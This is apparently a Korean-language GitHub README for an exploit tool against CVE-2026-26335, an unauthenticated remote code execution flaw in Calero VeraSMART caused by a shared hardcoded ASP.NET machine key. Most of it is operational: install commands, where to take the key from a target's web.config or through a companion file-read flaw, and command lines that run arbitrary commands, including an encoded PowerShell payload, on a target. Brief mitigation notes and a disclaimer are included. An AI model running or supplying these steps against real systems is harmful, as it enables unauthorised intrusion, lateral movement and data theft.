👤 작성자

Mohammed Idrees Banyamer 보안 연구원

GitHub: https://github.com/mbanyamer
Instagram: https://instagram.com/banyamer_security

CVE-2026-26335 - Calero VeraSMART ViewState RCE 익스플로잇

📌 설명

CVE‑2026‑26335은 Calero VeraSMART(2022 R1 이전 버전)의 심각한 인증 없는 원격 코드 실행 취약점입니다.

이 애플리케이션은 설치 환경 전체에서 공유되는 정적 하드코딩된 ASP.NET 머신 키를 사용합니다.
이 키를 확보한 공격자는 악의적인 ASP.NET ViewState를 위조하고 서버 측 역직렬화 → RCE를 트리거할 수 있습니다.

이 익스플로잇은 다음을 자동화합니다:

ViewState 엔드포인트 탐색
__VIEWSTATEGENERATOR 추출
ysoserial 페이로드 생성
서명된 ViewState 전달
명령 실행

⚠️ 영향

인증 없는 RCE
IIS 사용자 권한 탈취
도메인 내 수평 이동
데이터 유출
웹셸을 통한 지속성 확보

🧠 근본 원인

CWE‑321 — 하드코딩된 암호화 키

VeraSMART 배포 환경은 동일한 ASP.NET machineKey를 재사용합니다:

<machineKey validationKey="STATIC_KEY"
           decryptionKey="STATIC_KEY"
           validation="SHA1"
           decryption="AES" />

한 설치 환경에서 키를 확보한 공격자는 모든 환경을 공격할 수 있습니다.

🛠 요구 사항

Python 3
ysoserial.net
VeraSMART 머신 키
IIS에 대한 네트워크 접근

⚙️ 설치

git clone https://github.com/mbanyamer/CVE-2026-26335-VeraSMART-RCE.git
cd CVE-2026-26335-VeraSMART-RCE
wget https://github.com/pwntester/ysoserial.net/releases/latest/download/ysoserial.exe

🔑 머신 키 획득

키는 공개되지 않습니다. 대상에서 획득해야 합니다:

C:\Program Files (x86)\Veramark\VeraSMART\WebRoot\web.config

또는 동반 파일 읽기 취약점을 통해:

CVE‑2026‑26333

🚀 사용법

취약점 확인

python3 exploit.py -t https://target-ip -vk VALIDATION_KEY -dk DECRYPTION_KEY --check-only -v

명령 실행

python3 exploit.py -t https://target-ip -vk VALIDATION_KEY -dk DECRYPTION_KEY -c "whoami"

특정 엔드포인트

python3 exploit.py -t https://target-ip -vk KEY -dk KEY -e /Login.aspx -c "powershell -enc ZQBjAGgAbwAgAEgAYQBjAGsAZQBkAA=="

프록시 디버깅

python3 exploit.py -t https://target-ip -vk KEY -dk KEY --proxy http://127.0.0.1:8080 -v

📡 공격 흐름

ViewState 엔드포인트 탐색
생성기 추출
서명된 페이로드 생성
위조된 ViewState 전송
ASP.NET 역직렬화
명령 실행

📊 CVSS

9.8 — 치명적(Critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

🧪 테스트 환경

VeraSMART 2020
VeraSMART 2021
VeraSMART 2022(pre‑R1)
Windows Server 2016/2019
IIS 10
ASP.NET 4.x

🔒 완화 조치

VeraSMART 2022 R1에서 수정됨:

고유 머신 키
ViewState 강화
안전한 키 저장소

임시 대응 방안:

machineKey 교체
ViewState 비활성화
IIS 노출 제한
WAF ViewState 규칙

📚 참고 자료

⚖️ 면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오. 소유하거나 평가 권한이 있는 시스템에서만 사용하십시오.

👤 작성자

Mohammed Idrees Banyamer 보안 연구원

GitHub: https://github.com/mbanyamer
Instagram: https://instagram.com/banyamer_security

📊 익스플로잇 다이어그램

다음 다이어그램은 Calero VeraSMART에서 CVE‑2026‑26335의 공격 체인을 보여줍니다. 정적 ASP.NET 머신 키를 통해 악의적인 ViewState를 위조하여 원격 코드 실행으로 이어지는 과정입니다.

flowchart LR
    A[Attacker] --> B[Obtain VeraSMART machineKey]
    B --> C[Discover ViewState endpoint]
    C --> D[Extract __VIEWSTATEGENERATOR]
    D --> E[Generate malicious ViewState via ysoserial]
    E --> F[Sign payload with machineKey]
    F --> G[Send forged POST request]
    G --> H[ASP.NET ViewState deserialization]
    H --> I[TypeConfuseDelegate gadget]
    I --> J[Remote Code Execution on IIS]

인기

CVE-2026-26335-Calero-VeraSMART-RCE